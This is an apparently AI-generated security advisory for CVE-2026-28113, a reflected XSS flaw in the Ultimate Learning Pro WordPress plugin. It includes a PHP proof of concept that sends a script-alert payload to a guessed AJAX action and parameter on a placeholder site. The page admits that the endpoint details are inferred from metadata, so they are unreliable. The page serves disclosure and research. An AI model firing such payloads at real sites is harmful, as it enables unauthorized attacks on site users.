Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-28113: Ultimate Learning Pro <= 3.9.1 – Reflected Cross-Site Scripting (indeed-learning-pro)

CVE ID CVE-2026-28113
Plugin indeed-learning-pro
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 3.9.1
Patched Version —
Disclosed February 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28113 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) flaw in the Ultimate Learning Pro WordPress plugin. The CWE-79 classification confirms improper neutralization of input during web page generation. The vulnerability description indicates insufficient input sanitization and output escaping. This allows unauthenticated attackers to inject arbitrary web scripts via user-controllable input. The attack requires user interaction, as victims must click a malicious link. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) confirms network accessibility, low attack complexity, no privileges required, and user interaction with scope change. Atomic Edge research infers the vulnerability likely exists in a public-facing endpoint that echoes user input without proper escaping. Common WordPress patterns suggest vulnerable parameters in AJAX handlers (admin-ajax.php), REST API endpoints, or direct plugin file calls. The plugin slug ‘indeed-learning-pro’ may map to action parameters like ‘indeed_learning_pro_action’. The fix requires implementing proper input validation using WordPress sanitization functions (sanitize_text_field, esc_attr) and output escaping with esc_html or esc_attr. Exploitation could lead to session hijacking, malicious redirects, or content modification in the victim’s browser context.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28113 - Ultimate Learning Pro <= 3.9.1 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2026-28113
 * Assumptions based on metadata:
 * 1. The plugin has a vulnerable endpoint that reflects user input
 * 2. The endpoint is accessible without authentication
 * 3. The vulnerable parameter accepts arbitrary JavaScript
 * 4. Common WordPress AJAX pattern is used
 */

$target_url = 'http://vulnerable-wordpress-site.com';

// Construct malicious payload with basic XSS
$payload = '"><script>alert(document.domain)</script>';

// Test common WordPress AJAX endpoint with plugin-specific action
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$params = [
    'action' => 'indeed_learning_pro_action', // Inferred from plugin slug
    'vulnerable_param' => $payload // Parameter name is unknown from metadata
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if payload appears in response (reflected)
if ($http_code == 200 && strpos($response, $payload) !== false) {
    echo "[+] Vulnerability likely present. Payload reflected in response.n";
    echo "[+] Crafted exploit URL: $ajax_url?action={$params['action']}&vulnerable_param={$payload}n";
} else {
    echo "[-] No clear reflection detected. Try other endpoints/parameters.n";
    echo "[-] Test direct plugin files: /wp-content/plugins/indeed-learning-pro/n";
}

// Alternative test with GET request for reflected XSS
$get_url = $target_url . '/?indeed_learning_pro_param=' . urlencode($payload);
echo "[+] Test GET request: $get_urln";
?>

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